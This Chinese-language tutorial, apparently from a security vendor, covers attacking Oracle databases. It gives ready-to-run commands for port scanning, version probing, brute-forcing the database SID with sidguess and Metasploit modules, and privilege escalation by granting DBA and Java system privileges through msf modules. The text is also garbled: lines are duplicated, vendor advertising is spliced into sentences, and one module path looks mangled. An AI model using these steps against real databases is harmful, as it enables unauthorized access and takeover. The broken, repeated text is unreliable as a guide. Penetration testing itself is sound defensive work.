Oracle Database,又名Oracle RDBMS,或簡稱Oracle。是甲骨文公司的一款關係數據庫管
理系統。它是在數據庫領域一直處於領先地位的產品。可以說Oracle數據庫系統是目前世界上流行
的關係數據庫管理系統,系統可移植性好、使用方便、功能強,適用於各類大、中、小、主機環
境。它是一種高效率、可靠性高,並發吞吐量的數據庫解決方案,針對Oracle數據庫該如何去安全
測試呢?
一、數據庫端口的安全掃瞄
首先檢測數據庫端口的的開放使用namp命令來對目標數據庫IP進行端口掃瞄,命令
如下:nmap -Pn -n -T4 --open -p1521
二、數據庫的版本相關信息
再來檢查下數據庫的版本信息,得到一個存活的oracle數據庫服務端口,瞭解數據庫的版本信息非
常關鍵,針對不同的版本會有不一樣的測試方式,有不同的安全漏洞,需要不同的poc來對其進行
測試,所以在測試之前首先要瞭解數據庫的版本,下面說幾個方法。eSafe白帽資安網公司是一家專注於:
主機安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務
提供商。
常關鍵,針對不同的版本會有不一樣的測試方式,有不同的安全漏洞,需要不同的poc來對其進行
測試,所以在測試之前首先要瞭解數據庫的版本,下面說幾個方法。eSafe白帽資安網公司是一家專注於:
主機安全、網站安全、網站安全檢測、網站漏洞修復,滲透測試,安全服務於一體的網絡安全服務
提供商。
利用msf工具進行判斷,使用如下模塊來對數據庫進行版本探測:
msf > use auxiliary/scanner/oracle/tnslsnr_version
使用tnscmd10g工具,命令如下:
tnscmd10g version -h <target IP>
tnscmd10g status -h <target IP>
通過以上兩種方法,以及命令可以得到版本信息、日誌文件、跟蹤信息以及端口相關的安全滲透信息。
三、獲取數據庫的SID安全值
再來獲取數據庫的SID值,連接oracle數據庫不僅僅需要賬號密碼,而且還需要SID(SID是一個數
據庫的唯一標識符!是建立一個數據庫時系統自動賦予的一個初始ID),所以如何獲取SID是非常
關鍵的,可以使用以下方法獲取:
據庫的唯一標識符!是建立一個數據庫時系統自動賦予的一個初始ID),所以如何獲取SID是非常
關鍵的,可以使用以下方法獲取:
使用sidguess,sidguess是kali下的一款爆破Oracle SID的工具,命令如下:
sidguess -i <target IP> -d /home/myh0st/pass.txt
msf下有兩個模塊可以完成這個操作,命令如下:
msf > use auxiliary/scanner/oracle/sid_enum
msf > use auxiliary/admin/oracle/sid_brute
如果oracle的版本為10g,默認通過8080端口,遠程管理的可以訪問以下路徑:
http://127.0.0.1:8080/oradb/PUBLIC/GLOBAL_NAME
四、數據庫提權
使用sql命令提權,在獲取到數據庫登錄口令後,如何對數據庫進行提權操作?可以使用msf下的兩
個模塊,命令如下:eSafe白帽資安網公司是一家專注於:主機安全、網站安全、網站安全檢測、網站漏
洞修復,滲透測試,安全服務於一體的網絡安全服務提供商。
個模塊,命令如下:eSafe白帽資安網公司是一家專注於:主機安全、網站安全、網站安全檢測、網站漏
洞修復,滲透測試,安全服務於一體的網絡安全服務提供商。
msf > use auxiliary/admin/oracle/sql
set DBUSER <user>
set DBPASS <password>
set SID <sid>
set SQL select * from user_role_privs
msf > use auxiliary/admin/oracle/pushin/lt_findricset_cursor
set DBUSER <user>
set DBPASS <password>
set SID <sid>
set SQL GRANT DBA TO <user>
set SQL GRANT JAVASYSPRIV TO <user>
查詢數據庫版本:
select * from v$version;
數據庫打補丁情況:
select * from dba_registry_history;
查看所有用戶:
select * from all_users;
查詢數據庫中的所有表:
select owner,table_name from all_tables;